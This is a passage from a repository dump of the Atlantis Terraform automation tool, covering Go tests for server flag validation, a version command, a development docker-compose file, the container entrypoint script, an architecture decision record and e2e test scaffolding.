bool\n\t}{\n\t\t{\n\t\t\t\"neither option set\",\n\t\t\tmake(map[string]any),\n\t\t\tfalse,\n\t\t},\n\t\t{\n\t\t\t\"just ssl-key-file set\",\n\t\t\tmap[string]any{\n\t\t\t\tSSLKeyFileFlag: \"file\",\n\t\t\t},\n\t\t\ttrue,\n\t\t},\n\t\t{\n\t\t\t\"just ssl-cert-file set\",\n\t\t\tmap[string]any{\n\t\t\t\tSSLCertFileFlag: \"flag\",\n\t\t\t},\n\t\t\ttrue,\n\t\t},\n\t\t{\n\t\t\t\"both flags set\",\n\t\t\tmap[string]any{\n\t\t\t\tSSLCertFileFlag: \"cert\",\n\t\t\t\tSSLKeyFileFlag:  \"key\",\n\t\t\t},\n\t\t\tfalse,\n\t\t},\n\t}\n\tfor _, testCase := range cases {\n\t\tt.Log(\"Should validate ssl config when \" + testCase.description)\n\t\tc := setupWithDefaults(testCase.flags, t)\n\t\terr := c.Execute()\n\t\tif testCase.expectError {\n\t\t\tAssert(t, err != nil, \"should be an error\")\n\t\t\tEquals(t, expErr, err.Error())\n\t\t} else {\n\t\t\tOk(t, err)\n\t\t}\n\t}\n}\n\nfunc TestExecute_ValidateVCSConfig(t *testing.T) {\n\texpErr := \"--gh-user/--gh-token or --gh-user/--gh-token-file or --gh-app-id/--gh-app-key-file or --gh-app-id/--gh-app-key or --gitea-user/--gitea-token or --gitlab-user/--gitlab-token or --bitbucket-user/--bitbucket-token or --azuredevops-user/--azuredevops-token must be set\"\n\tcases := []struct {\n\t\tdescription string\n\t\tflags       map[string]any\n\t\texpectError bool\n\t}{\n\t\t{\n\t\t\t\"no config set\",\n\t\t\tmake(map[string]any),\n\t\t\ttrue,\n\t\t},\n\t\t{\n\t\t\t\"just github token set\",\n\t\t\tmap[string]any{\n\t\t\t\tGHTokenFlag: \"token\",\n\t\t\t},\n\t\t\ttrue,\n\t\t},\n\t\t{\n\t\t\t\"just gitea token set\",\n\t\t\tmap[string]any{\n\t\t\t\tGiteaTokenFlag: \"token\",\n\t\t\t},\n\t\t\ttrue,\n\t\t},\n\t\t{\n\t\t\t\"just gitlab token set\",\n\t\t\tmap[string]any{\n\t\t\t\tGitlabTokenFlag: \"token\",\n\t\t\t},\n\t\t\ttrue,\n\t\t},\n\t\t{\n\t\t\t\"just bitbucket token set\",\n\t\t\tmap[string]any{\n\t\t\t\tBitbucketTokenFlag: \"token\",\n\t\t\t},\n\t\t\ttrue,\n\t\t},\n\t\t{\n\t\t\t\"just azuredevops token set\",\n\t\t\tmap[string]any{\n\t\t\t\tADTokenFlag: \"token\",\n\t\t\t},\n\t\t\ttrue,\n\t\t},\n\t\t{\n\t\t\t\"just github user set\",\n\t\t\tmap[string]any{\n\t\t\t\tGHUserFlag: \"user\",\n\t\t\t},\n\t\t\ttrue,\n\t\t},\n\t\t{\n\t\t\t\"just gitea user set\",\n\t\t\tmap[string]any{\n\t\t\t\tGiteaUserFlag: \"user\",\n\t\t\t},\n\t\t\ttrue,\n\t\t},\n\t\t{\n\t\t\t\"just github app set\",\n\t\t\tmap[string]any{\n\t\t\t\tGHAppIDFlag: \"1\",\n\t\t\t},\n\t\t\ttrue,\n\t\t},\n\t\t{\n\t\t\t\"just github app key file set\",\n\t\t\tmap[string]any{\n\t\t\t\tGHAppKeyFileFlag: \"key.pem\",\n\t\t\t},\n\t\t\ttrue,\n\t\t},\n\t\t{\n\t\t\t\"just github app key set\",\n\t\t\tmap[string]any{\n\t\t\t\tGHAppKeyFlag: githubtestdata.PrivateKey,\n\t\t\t},\n\t\t\ttrue,\n\t\t},\n\t\t{\n\t\t\t\"just gitlab user set\",\n\t\t\tmap[string]any{\n\t\t\t\tGitlabUserFlag: \"user\",\n\t\t\t},\n\t\t\ttrue,\n\t\t},\n\t\t{\n\t\t\t\"just bitbucket user set\",\n\t\t\tmap[string]any{\n\t\t\t\tBitbucketUserFlag: \"user\",\n\t\t\t},\n\t\t\ttrue,\n\t\t},\n\t\t{\n\t\t\t\"just azuredevops user set\",\n\t\t\tmap[string]any{\n\t\t\t\tADUserFlag: \"user\",\n\t\t\t},\n\t\t\ttrue,\n\t\t},\n\t\t{\n\t\t\t\"github user and gitlab token set\",\n\t\t\tmap[string]any{\n\t\t\t\tGHUserFlag:      \"user\",\n\t\t\t\tGitlabTokenFlag: \"token\",\n\t\t\t},\n\t\t\ttrue,\n\t\t},\n\t\t{\n\t\t\t\"gitlab user and github token set\",\n\t\t\tmap[string]any{\n\t\t\t\tGitlabUserFlag: \"user\",\n\t\t\t\tGHTokenFlag:    \"token\",\n\t\t\t},\n\t\t\ttrue,\n\t\t},\n\t\t{\n\t\t\t\"github user and bitbucket token set\",\n\t\t\tmap[string]any{\n\t\t\t\tGHUserFlag:         \"user\",\n\t\t\t\tBitbucketTokenFlag: \"token\",\n\t\t\t},\n\t\t\ttrue,\n\t\t},\n\t\t{\n\t\t\t\"github user and gitea token set\",\n\t\t\tmap[string]any{\n\t\t\t\tGHUserFlag:     \"user\",\n\t\t\t\tGiteaTokenFlag: \"token\",\n\t\t\t},\n\t\t\ttrue,\n\t\t},\n\t\t{\n\t\t\t\"gitea user and github token set\",\n\t\t\tmap[string]any{\n\t\t\t\tGiteaUserFlag: \"user\",\n\t\t\t\tGHTokenFlag:   \"token\",\n\t\t\t},\n\t\t\ttrue,\n\t\t},\n\t\t{\n\t\t\t\"github user and github token set and should be successful\",\n\t\t\tmap[string]any{\n\t\t\t\tGHUserFlag:  \"user\",\n\t\t\t\tGHTokenFlag: \"token\",\n\t\t\t},\n\t\t\tfalse,\n\t\t},\n\t\t{\n\t\t\t\"github user and github token file and should be successful\",\n\t\t\tmap[string]any{\n\t\t\t\tGHUserFlag:      \"user\",\n\t\t\t\tGHTokenFileFlag: \"/path/to/token\",\n\t\t\t},\n\t\t\tfalse,\n\t\t},\n\t\t{\n\t\t\t\"github user, github token, and github token file and should fail\",\n\t\t\tmap[string]any{\n\t\t\t\tGHUserFlag:      \"user\",\n\t\t\t\tGHTokenFlag:     \"token\",\n\t\t\t\tGHTokenFileFlag: \"/path/to/token\",\n\t\t\t},\n\t\t\ttrue,\n\t\t},\n\t\t{\n\t\t\t\"gitea user and gitea token set and should be successful\",\n\t\t\tmap[string]any{\n\t\t\t\tGiteaUserFlag:  \"user\",\n\t\t\t\tGiteaTokenFlag: \"token\",\n\t\t\t},\n\t\t\tfalse,\n\t\t},\n\t\t{\n\t\t\t\"github app and key file set and should be successful\",\n\t\t\tmap[string]any{\n\t\t\t\tGHAppIDFlag:      \"1\",\n\t\t\t\tGHAppKeyFileFlag: \"key.pem\",\n\t\t\t},\n\t\t\tfalse,\n\t\t},\n\t\t{\n\t\t\t\"github app and key set and should be successful\",\n\t\t\tmap[string]any{\n\t\t\t\tGHAppIDFlag:  \"1\",\n\t\t\t\tGHAppKeyFlag: githubtestdata.PrivateKey,\n\t\t\t},\n\t\t\tfalse,\n\t\t},\n\t\t{\n\t\t\t\"gitlab user and gitlab token set and should be successful\",\n\t\t\tmap[string]any{\n\t\t\t\tGitlabUserFlag:  \"user\",\n\t\t\t\tGitlabTokenFlag: \"token\",\n\t\t\t},\n\t\t\tfalse,\n\t\t},\n\t\t{\n\t\t\t\"bitbucket user and bitbucket token set and should be successful\",\n\t\t\tmap[string]any{\n\t\t\t\tBitbucketUserFlag:  \"user\",\n\t\t\t\tBitbucketTokenFlag: \"token\",\n\t\t\t},\n\t\t\tfalse,\n\t\t},\n\t\t{\n\t\t\t\"azuredevops user and azuredevops token set and should be successful\",\n\t\t\tmap[string]any{\n\t\t\t\tADUserFlag:  \"user\",\n\t\t\t\tADTokenFlag: \"token\",\n\t\t\t},\n\t\t\tfalse,\n\t\t},\n\t\t{\n\t\t\t\"all set should be successful\",\n\t\t\tmap[string]any{\n\t\t\t\tGHUserFlag:         \"user\",\n\t\t\t\tGHTokenFlag:        \"token\",\n\t\t\t\tGiteaUserFlag:      \"user\",\n\t\t\t\tGiteaTokenFlag:     \"token\",\n\t\t\t\tGitlabUserFlag:     \"user\",\n\t\t\t\tGitlabTokenFlag:    \"token\",\n\t\t\t\tBitbucketUserFlag:  \"user\",\n\t\t\t\tBitbucketTokenFlag: \"token\",\n\t\t\t\tADUserFlag:         \"user\",\n\t\t\t\tADTokenFlag:        \"token\",\n\t\t\t},\n\t\t\tfalse,\n\t\t},\n\t}\n\tfor _, testCase := range cases {\n\t\tt.Log(\"Should validate vcs config when \" + testCase.description)\n\t\ttestCase.flags[RepoAllowlistFlag] = \"*\"\n\n\t\tc := setup(testCase.flags, t)\n\t\terr := c.Execute()\n\t\tif testCase.expectError {\n\t\t\tAssert(t, err != nil, \"should be an error\")\n\t\t\tEquals(t, expErr, err.Error())\n\t\t} else {\n\t\t\tOk(t, err)\n\t\t}\n\t}\n}\n\nfunc TestExecute_ValidateAllowCommands(t *testing.T) {\n\tcases := []struct {\n\t\tname              string\n\t\tallowCommandsFlag string\n\t\texpErr            string\n\t}{\n\t\t{\n\t\t\tname:              \"invalid allow commands\",\n\t\t\tallowCommandsFlag: \"noallow\",\n\t\t\texpErr:            \"invalid --allow-commands: unknown command name: noallow\",\n\t\t},\n\t\t{\n\t\t\tname:              \"success with empty allow commands\",\n\t\t\tallowCommandsFlag: \"\",\n\t\t\texpErr:            \"\",\n\t\t},\n\t}\n\tfor _, testCase := range cases {\n\t\tc := setupWithDefaults(map[string]any{\n\t\t\tAllowCommandsFlag: testCase.allowCommandsFlag,\n\t\t}, t)\n\t\terr := c.Execute()\n\t\tif testCase.expErr != \"\" {\n\t\t\tErrEquals(t, testCase.expErr, err)\n\t\t} else {\n\t\t\tOk(t, err)\n\t\t}\n\t}\n}\n\nfunc TestExecute_ExpandHomeInDataDir(t *testing.T) {\n\tt.Log(\"If ~ is used as a data-dir path, should expand to absolute home path\")\n\tc := setup(map[string]any{\n\t\tGHUserFlag:        \"user\",\n\t\tGHTokenFlag:       \"token\",\n\t\tRepoAllowlistFlag: \"*\",\n\t\tDataDirFlag:       \"~/this/is/a/path\",\n\t}, t)\n\terr := c.Execute()\n\tOk(t, err)\n\n\thome, err := homedir.Dir()\n\tOk(t, err)\n\tEquals(t, home+\"/this/is/a/path\", passedConfig.DataDir)\n}\n\nfunc TestExecute_RelativeDataDir(t *testing.T) {\n\tt.Log(\"Should convert relative dir to absolute.\")\n\tc := setupWithDefaults(map[string]any{\n\t\tDataDirFlag: \"../\",\n\t}, t)\n\n\t// Figure out what ../ should be as an absolute path.\n\texpectedAbsolutePath, err := filepath.Abs(\"../\")\n\tOk(t, err)\n\n\terr = c.Execute()\n\tOk(t, err)\n\tEquals(t, expectedAbsolutePath, passedConfig.DataDir)\n}\n\nfunc TestExecute_GithubUser(t *testing.T) {\n\tt.Log(\"Should remove the @ from the github username if it's passed.\")\n\tc := setup(map[string]any{\n\t\tGHUserFlag:        \"@user\",\n\t\tGHTokenFlag:       \"token\",\n\t\tRepoAllowlistFlag: \"*\",\n\t}, t)\n\terr := c.Execute()\n\tOk(t, err)\n\n\tEquals(t, \"user\", passedConfig.GithubUser)\n}\n\nfunc TestExecute_GithubApp(t *testing.T) {\n\tt.Log(\"Should remove the @ from the github username if it's passed.\")\n\tc := setup(map[string]any{\n\t\tGHAppKeyFlag:      githubtestdata.PrivateKey,\n\t\tGHAppIDFlag:       \"1\",\n\t\tRepoAllowlistFlag: \"*\",\n\t}, t)\n\terr := c.Execute()\n\tOk(t, err)\n\n\tEquals(t, int64(1), passedConfig.GithubAppID)\n}\n\nfunc TestExecute_GithubAppWithInstallationID(t *testing.T) {\n\tt.Log(\"Should pass the installation ID to the config.\")\n\tc := setup(map[string]any{\n\t\tGHAppKeyFlag:            githubtestdata.PrivateKey,\n\t\tGHAppIDFlag:             \"1\",\n\t\tGHAppInstallationIDFlag: \"2\",\n\t\tRepoAllowlistFlag:       \"*\",\n\t}, t)\n\terr := c.Execute()\n\tOk(t, err)\n\n\tEquals(t, int64(1), passedConfig.GithubAppID)\n\tEquals(t, int64(2), passedConfig.GithubAppInstallationID)\n}\n\nfunc TestExecute_GiteaUser(t *testing.T) {\n\tt.Log(\"Should remove the @ from the gitea username if it's passed.\")\n\tc := setup(map[string]any{\n\t\tGiteaUserFlag:     \"@user\",\n\t\tGiteaTokenFlag:    \"token\",\n\t\tRepoAllowlistFlag: \"*\",\n\t}, t)\n\terr := c.Execute()\n\tOk(t, err)\n\n\tEquals(t, \"user\", passedConfig.GiteaUser)\n}\n\nfunc TestExecute_GitlabUser(t *testing.T) {\n\tt.Log(\"Should remove the @ from the gitlab username if it's passed.\")\n\tc := setup(map[string]any{\n\t\tGitlabUserFlag:    \"@user\",\n\t\tGitlabTokenFlag:   \"token\",\n\t\tRepoAllowlistFlag: \"*\",\n\t}, t)\n\terr := c.Execute()\n\tOk(t, err)\n\n\tEquals(t, \"user\", passedConfig.GitlabUser)\n}\n\nfunc TestExecute_BitbucketUser(t *testing.T) {\n\tt.Log(\"Should remove the @ from the bitbucket username if it's passed.\")\n\tc := setup(map[string]any{\n\t\tBitbucketUserFlag:  \"@user\",\n\t\tBitbucketTokenFlag: \"token\",\n\t\tRepoAllowlistFlag:  \"*\",\n\t}, t)\n\terr := c.Execute()\n\tOk(t, err)\n\n\tEquals(t, \"user\", passedConfig.BitbucketUser)\n}\n\nfunc TestExecute_ADUser(t *testing.T) {\n\tt.Log(\"Should remove the @ from the azure devops username if it's passed.\")\n\tc := setup(map[string]any{\n\t\tADUserFlag:        \"@user\",\n\t\tADTokenFlag:       \"token\",\n\t\tRepoAllowlistFlag: \"*\",\n\t}, t)\n\terr := c.Execute()\n\tOk(t, err)\n\n\tEquals(t, \"user\", passedConfig.AzureDevopsUser)\n}\n\n// Base URL must have a scheme.\nfunc TestExecute_BitbucketServerBaseURLScheme(t *testing.T) {\n\tc := setup(map[string]any{\n\t\tBitbucketUserFlag:    \"user\",\n\t\tBitbucketTokenFlag:   \"token\",\n\t\tRepoAllowlistFlag:    \"*\",\n\t\tBitbucketBaseURLFlag: \"mydomain.com\",\n\t}, t)\n\tErrEquals(t, \"--bitbucket-base-url must have http:// or https://, got \\\"mydomain.com\\\"\", c.Execute())\n\n\tc = setup(map[string]any{\n\t\tBitbucketUserFlag:    \"user\",\n\t\tBitbucketTokenFlag:   \"token\",\n\t\tRepoAllowlistFlag:    \"*\",\n\t\tBitbucketBaseURLFlag: \"://mydomain.com\",\n\t}, t)\n\tErrEquals(t, \"error parsing --bitbucket-webhook-secret flag value \\\"://mydomain.com\\\": parse \\\"://mydomain.com\\\": missing protocol scheme\", c.Execute())\n}\n\n// Port should be retained on base url.\nfunc TestExecute_BitbucketServerBaseURLPort(t *testing.T) {\n\tc := setup(map[string]any{\n\t\tBitbucketUserFlag:    \"user\",\n\t\tBitbucketTokenFlag:   \"token\",\n\t\tRepoAllowlistFlag:    \"*\",\n\t\tBitbucketBaseURLFlag: \"http://mydomain.com:7990\",\n\t}, t)\n\tOk(t, c.Execute())\n\tEquals(t, \"http://mydomain.com:7990\", passedConfig.BitbucketBaseURL)\n}\n\n// Can't use both --repo-config and --repo-config-json.\nfunc TestExecute_RepoCfgFlags(t *testing.T) {\n\tc := setup(map[string]any{\n\t\tGHUserFlag:         \"user\",\n\t\tGHTokenFlag:        \"token\",\n\t\tRepoAllowlistFlag:  \"github.com\",\n\t\tRepoConfigFlag:     \"repos.yaml\",\n\t\tRepoConfigJSONFlag: \"{}\",\n\t}, t)\n\terr := c.Execute()\n\tErrEquals(t, \"cannot use --repo-config and --repo-config-json at the same time\", err)\n}\n\n// Can't use both --tfe-hostname flag without --tfe-token.\nfunc TestExecute_TFEHostnameOnly(t *testing.T) {\n\tc := setup(map[string]any{\n\t\tGHUserFlag:        \"user\",\n\t\tGHTokenFlag:       \"token\",\n\t\tRepoAllowlistFlag: \"github.com\",\n\t\tTFEHostnameFlag:   \"not-app.terraform.io\",\n\t}, t)\n\terr := c.Execute()\n\tErrEquals(t, \"if setting --tfe-hostname, must set --tfe-token\", err)\n}\n\n// Must set allow or whitelist.\nfunc TestExecute_AllowAndWhitelist(t *testing.T) {\n\tc := setup(map[string]any{\n\t\tGHUserFlag:  \"user\",\n\t\tGHTokenFlag: \"token\",\n\t}, t)\n\terr := c.Execute()\n\tErrEquals(t, \"--repo-allowlist must be set for security purposes\", err)\n}\n\nfunc TestExecute_AutoDetectModulesFromProjects_Env(t *testing.T) {\n\tt.Setenv(\"ATLANTIS_AUTOPLAN_MODULES_FROM_PROJECTS\", \"**/init.tf\")\n\tc := setupWithDefaults(map[string]any{}, t)\n\terr := c.Execute()\n\tOk(t, err)\n\tEquals(t, \"**/init.tf\", passedConfig.AutoplanModulesFromProjects)\n}\n\nfunc TestExecute_AutoDetectModulesFromProjects(t *testing.T) {\n\tc := setupWithDefaults(map[string]any{\n\t\tAutoplanModulesFromProjects: \"**/*.tf\",\n\t}, t)\n\terr := c.Execute()\n\tOk(t, err)\n\tEquals(t, \"**/*.tf\", passedConfig.AutoplanModulesFromProjects)\n}\n\nfunc TestExecute_AutoplanFileList(t *testing.T) {\n\tcases := []struct {\n\t\tdescription string\n\t\tflags       map[string]any\n\t\texpectErr   string\n\t}{\n\t\t{\n\t\t\t\"default value\",\n\t\t\tmap[string]any{\n\t\t\t\tAutoplanFileListFlag: DefaultAutoplanFileList,\n\t\t\t},\n\t\t\t\"\",\n\t\t},\n\t\t{\n\t\t\t\"valid value\",\n\t\t\tmap[string]any{\n\t\t\t\tAutoplanFileListFlag: \"**/*.tf\",\n\t\t\t},\n\t\t\t\"\",\n\t\t},\n\t\t{\n\t\t\t\"invalid exclusion pattern\",\n\t\t\tmap[string]any{\n\t\t\t\tAutoplanFileListFlag: \"**/*.yml,!\",\n\t\t\t},\n\t\t\t\"invalid pattern in --autoplan-file-list, **/*.yml,!: illegal exclusion pattern: \\\"!\\\"\",\n\t\t},\n\t\t{\n\t\t\t\"invalid pattern\",\n\t\t\tmap[string]any{\n\t\t\t\tAutoplanFileListFlag: \"[^]\",\n\t\t\t},\n\t\t\t\"invalid pattern in --autoplan-file-list, [^]: syntax error in pattern\",\n\t\t},\n\t}\n\tfor _, testCase := range cases {\n\t\tt.Log(\"Should validate autoplan file list when \" + testCase.description)\n\t\tc := setupWithDefaults(testCase.flags, t)\n\t\terr := c.Execute()\n\t\tif testCase.expectErr != \"\" {\n\t\t\tErrEquals(t, testCase.expectErr, err)\n\t\t} else {\n\t\t\tOk(t, err)\n\t\t}\n\t}\n}\n\nfunc TestExecute_ValidateDefaultTFDistribution(t *testing.T) {\n\tcases := []struct {\n\t\tdescription string\n\t\tflags       map[string]any\n\t\texpectErr   string\n\t}{\n\t\t{\n\t\t\t\"terraform\",\n\t\t\tmap[string]any{\n\t\t\t\tDefaultTFDistributionFlag: \"terraform\",\n\t\t\t},\n\t\t\t\"\",\n\t\t},\n\t\t{\n\t\t\t\"opentofu\",\n\t\t\tmap[string]any{\n\t\t\t\tDefaultTFDistributionFlag: \"opentofu\",\n\t\t\t},\n\t\t\t\"\",\n\t\t},\n\t\t{\n\t\t\t\"errs on invalid distribution\",\n\t\t\tmap[string]any{\n\t\t\t\tDefaultTFDistributionFlag: \"invalid_distribution\",\n\t\t\t},\n\t\t\t\"invalid tf distribution: expected one of terraform or opentofu\",\n\t\t},\n\t}\n\tfor _, testCase := range cases {\n\t\tt.Log(\"Should validate default tf distribution when \" + testCase.description)\n\t\tc := setupWithDefaults(testCase.flags, t)\n\t\terr := c.Execute()\n\t\tif testCase.expectErr != \"\" {\n\t\t\tErrEquals(t, testCase.expectErr, err)\n\t\t} else {\n\t\t\tOk(t, err)\n\t\t}\n\t}\n}\n\nfunc setup(flags map[string]any, t *testing.T) *cobra.Command {\n\tvipr := viper.New()\n\tfor k, v := range flags {\n\t\tvipr.Set(k, v)\n\t}\n\tc := &ServerCmd{\n\t\tServerCreator: &ServerCreatorMock{},\n\t\tViper:         vipr,\n\t\tSilenceOutput: true,\n\t\tLogger:        logging.NewNoopLogger(t),\n\t}\n\treturn c.Init()\n}\n\nfunc setupWithDefaults(flags map[string]any, t *testing.T) *cobra.Command {\n\tvipr := viper.New()\n\tflags[GHUserFlag] = \"user\"\n\tflags[GHTokenFlag] = \"token\"\n\tflags[RepoAllowlistFlag] = \"*\"\n\n\tfor k, v := range flags {\n\t\tvipr.Set(k, v)\n\t}\n\tc := &ServerCmd{\n\t\tServerCreator: &ServerCreatorMock{},\n\t\tViper:         vipr,\n\t\tSilenceOutput: true,\n\t\tLogger:        logging.NewNoopLogger(t),\n\t}\n\treturn c.Init()\n}\n\nfunc tempFile(t *testing.T, contents string) string {\n\tf, err := os.CreateTemp(\"\", \"\")\n\tOk(t, err)\n\tnewName := f.Name() + \".yaml\"\n\terr = os.Rename(f.Name(), newName)\n\tOk(t, err)\n\tos.WriteFile(newName, []byte(contents), 0600) // nolint: errcheck\n\treturn newName\n}\n\nfunc configVal(t *testing.T, u server.UserConfig, tag string) any {\n\tt.Helper()\n\tv := reflect.ValueOf(u)\n\ttypeOfS := v.Type()\n\tfor i := 0; i < v.NumField(); i++ {\n\t\tif typeOfS.Field(i).Tag.Get(\"mapstructure\") == tag {\n\t\t\treturn v.Field(i).Interface()\n\t\t}\n\t}\n\tt.Fatalf(\"no field with tag %q found\", tag)\n\treturn nil\n}\n\n// Gitea base URL must have a scheme.\nfunc TestExecute_GiteaBaseURLScheme(t *testing.T) {\n\tc := setup(map[string]any{\n\t\tGiteaUserFlag:     \"user\",\n\t\tGiteaTokenFlag:    \"token\",\n\t\tRepoAllowlistFlag: \"*\",\n\t\tGiteaBaseURLFlag:  \"mydomain.com\",\n\t}, t)\n\tErrEquals(t, \"--gitea-base-url must have http:// or https://, got \\\"mydomain.com\\\"\", c.Execute())\n\n\tc = setup(map[string]any{\n\t\tGiteaUserFlag:     \"user\",\n\t\tGiteaTokenFlag:    \"token\",\n\t\tRepoAllowlistFlag: \"*\",\n\t\tGiteaBaseURLFlag:  \"://mydomain.com\",\n\t}, t)\n\tErrEquals(t, \"error parsing --gitea-webhook-secret flag value \\\"://mydomain.com\\\": parse \\\"://mydomain.com\\\": missing protocol scheme\", c.Execute())\n}\n\nfunc TestExecute_GiteaWithWebhookSecret(t *testing.T) {\n\tc := setup(map[string]any{\n\t\tGiteaUserFlag:          \"user\",\n\t\tGiteaTokenFlag:         \"token\",\n\t\tRepoAllowlistFlag:      \"*\",\n\t\tGiteaWebhookSecretFlag: \"my secret\",\n\t}, t)\n\terr := c.Execute()\n\tOk(t, err)\n}\n\n// Port should be retained on base url.\nfunc TestExecute_GiteaBaseURLPort(t *testing.T) {\n\tc := setup(map[string]any{\n\t\tGiteaUserFlag:     \"user\",\n\t\tGiteaTokenFlag:    \"token\",\n\t\tRepoAllowlistFlag: \"*\",\n\t\tGiteaBaseURLFlag:  \"http://mydomain.com:7990\",\n\t}, t)\n\tOk(t, c.Execute())\n\tEquals(t, \"http://mydomain.com:7990\", passedConfig.GiteaBaseURL)\n}\n"
  },
  {
    "path": "cmd/version.go",
    "content": "// Copyright 2017 HootSuite Media Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the License);\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//    http://www.apache.org/licenses/LICENSE-2.0\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an AS IS BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n// Modified hereafter by contributors to runatlantis/atlantis.\n\npackage cmd\n\nimport (\n\t\"fmt\"\n\n\t\"github.com/spf13/cobra\"\n)\n\n// VersionCmd prints the current version.\ntype VersionCmd struct {\n\tAtlantisVersion string\n}\n\n// Init returns the runnable cobra command.\nfunc (v *VersionCmd) Init() *cobra.Command {\n\treturn &cobra.Command{\n\t\tUse:   \"version\",\n\t\tShort: \"Print the current Atlantis version\",\n\t\tRun: func(_ *cobra.Command, _ []string) {\n\t\t\tfmt.Printf(\"atlantis %s\\n\", v.AtlantisVersion)\n\t\t},\n\t}\n}\n"
  },
  {
    "path": "docker-compose.yml",
    "content": "# Note: This file is only used for Atlantis local development\nservices:\n  ngrok:\n    image: ngrok/ngrok:latest@sha256:de80ead6e060dc3b12ce8c6af51accd545d377054604b6c4603006ae71a62396\n    ports:\n      - 4040:4040\n    command:\n      - \"http\"\n      - \"atlantis:4141\"\n    env_file:\n      - atlantis.env\n    depends_on:\n      - atlantis\n  redis:\n    image: redis:8.6-alpine@sha256:2afba59292f25f5d1af200496db41bea2c6c816b059f57ae74703a50a03a27d0\n    restart: always\n    ports:\n      - 6379:6379\n    command: redis-server --save 20 1 --loglevel warning --requirepass test123\n    volumes:\n      - redis:/data\n  atlantis:\n    depends_on:\n      - redis\n    build:\n      context: .\n      dockerfile: Dockerfile.dev\n    ports:\n      - 4141:4141\n    volumes:\n      - ${HOME}/.ssh:/.ssh:ro\n      - ${PWD}:/atlantis/src:ro\n    # Contains the flags that atlantis uses in env var form\n    env_file:\n      - atlantis.env\n\nvolumes:\n  redis:\n    driver: local\n"
  },
  {
    "path": "docker-entrypoint.sh",
    "content": "#!/usr/bin/env -S dumb-init --single-child /bin/sh\n\n# dumb-init is run in single child mode. By default dumb-init will forward\n# interrupts to all child processes, causing Terraform to cancel and Terraform\n# providers to exit uncleanly. We forward the signal to Atlantis only, allowing\n# it to trap the interrupt, and exit gracefully.\n\nset -e\n\n# Modified: https://github.com/hashicorp/docker-consul/blob/2c2873f9d619220d1eef0bc46ec78443f55a10b5/0.X/docker-entrypoint.sh\n\n# If the user is trying to run atlantis directly with some arguments, then\n# pass them to atlantis.\nif [ \"$(echo \"${1}\" | cut -c1)\" = \"-\" ]; then\n    set -- atlantis \"$@\"\nfi\n\n# If the user is running an atlantis subcommand (ex. server) then we want to prepend\n# atlantis as the first arg to exec. To detect if they're running a subcommand\n# we take the potential subcommand and run it through atlantis help {subcommand}.\n# If the output contains \"atlantis subcommand\" then we know it's a subcommand\n# since the help output contains that string. For anything else (ex. sh)\n# it won't contain that string.\n# NOTE: We use grep instead of the exit code since help always returns 0.\nif atlantis help \"$1\" 2>&1 | grep -q \"atlantis $1\"; then\n    # We can't use the return code to check for the existence of a subcommand, so\n    # we have to use grep to look for a pattern in the help output.\n    set -- atlantis \"$@\"\nfi\n\n# If the current uid running does not have a user create one in /etc/passwd\nif ! whoami > /dev/null 2>&1; then\n  if [ -w /etc/passwd ]; then\n    echo \"${USER_NAME:-default}:x:$(id -u):0:${USER_NAME:-default} user:/home/atlantis:/sbin/nologin\" >> /etc/passwd\n  fi\nfi\n\n# If we need to install some tools at entrypoint level, we can add shell scripts\n# in folder /docker-entrypoint.d/ with extension .sh and this scripts will be executed\n# at entrypount level.\nif /usr/bin/find \"/docker-entrypoint.d/\" -mindepth 1 -maxdepth 1 -type f -print -quit 2>/dev/null | read v; then\n  echo \"/docker-entrypoint.d/ is not empty, will attempt to perform script execition\"\n  echo \"Looking for shell scripts in /docker-entrypoint.d/\"\n  find \"/docker-entrypoint.d/\" -follow -type f -print | sort -V | while read -r f; do\n    case \"$f\" in\n      *.sh)\n        if [ -x \"$f\" ]; then\n          echo \"Launching $f\";\n          \"$f\"\n        else\n          # warn on shell scripts without exec bit\n          echo \"Ignoring $f, not executable\";\n        fi\n        ;;\n      *) echo \"Ignoring $f\";;\n    esac\n  done\n  echo \"Configuration complete; ready for start up\"\nelse\n  echo \"No files found in /docker-entrypoint.d/, skipping\"\nfi\n\nexec \"$@\"\n"
  },
  {
    "path": "docs/adr/0001-record-architecture-decisions.md",
    "content": "# 1. Record architecture decisions\n\nDate: 2023-05-09\n\n## Status\n\nAccepted\n\n## Context\n\nWe need to record the architectural decisions made for Atlantis. The project is a very decentralized project. It suffers from frequent one-timer contributors and an ever-changing team of maintainers.\nBy utilizing the ADR process, we can improve who decisions are made and bring transparency to past decisions to assist future contributors and maintainers to confidently steer the project.\n\n## Decision\n\nWe will use Architecture Decision Records, as [described by Michael Nygard](http://thinkrelevance.com/blog/2011/11/15/documenting-architecture-decisions).\n\n## Consequences\n\nSee Michael Nygard's article, linked above. For a lightweight ADR toolset, see Nat Pryce's [adr-tools](https://github.com/npryce/adr-tools) before submitting a new ADR.\n"
  },
  {
    "path": "e2e/.gitignore",
    "content": "atlantis-tests\n"
  },
  {
    "path": "e2e/Makefile",
    "content": "WORKSPACE := $(shell pwd)\n\n.PHONY: test\n\n.DEFAULT_GOAL := help\nhelp: ## List targets & descriptions\n\t@cat Makefile* | grep -E '^[a-zA-Z_-]+:.*?## .*$$' | sort | awk 'BEGIN {FS = \":.*?## \"}; {printf \"\\033[36m%-30s\\033[0m %s\\n\", $$1, $$2}'\n\ndebug: ## Output internal make variables\n\t@echo WORKSPACE = $(WORKSPACE)\n\nbuild: ## Build the main Go service\n\trm -f atlantis-tests\n\tgo build -v -o atlantis-tests .\n\nrun: ## Run e2e tests\n\t./atlantis-tests\n"
  },
  {
    "path": "e2e/README.md",
    "content": "# End to end tests\n\nTests run against actual repos in various VCS providers\n\n## Configuration\n\n### Gitlab\n\nUser: https://gitlab.com/atlantis-tests\nEmail: maintainers@runatlantis.io\n\nTo rotate token:\n1. Login to account\n2. Select avatar -> Edit Profile -> Access tokens -> Add new token\n3. Create a new token, and upload it to Github Action as environment secret `ATLANTIS_GITLAB_TOKEN`.\n"
  },
  {
    "path": "e2e/e2e.go",
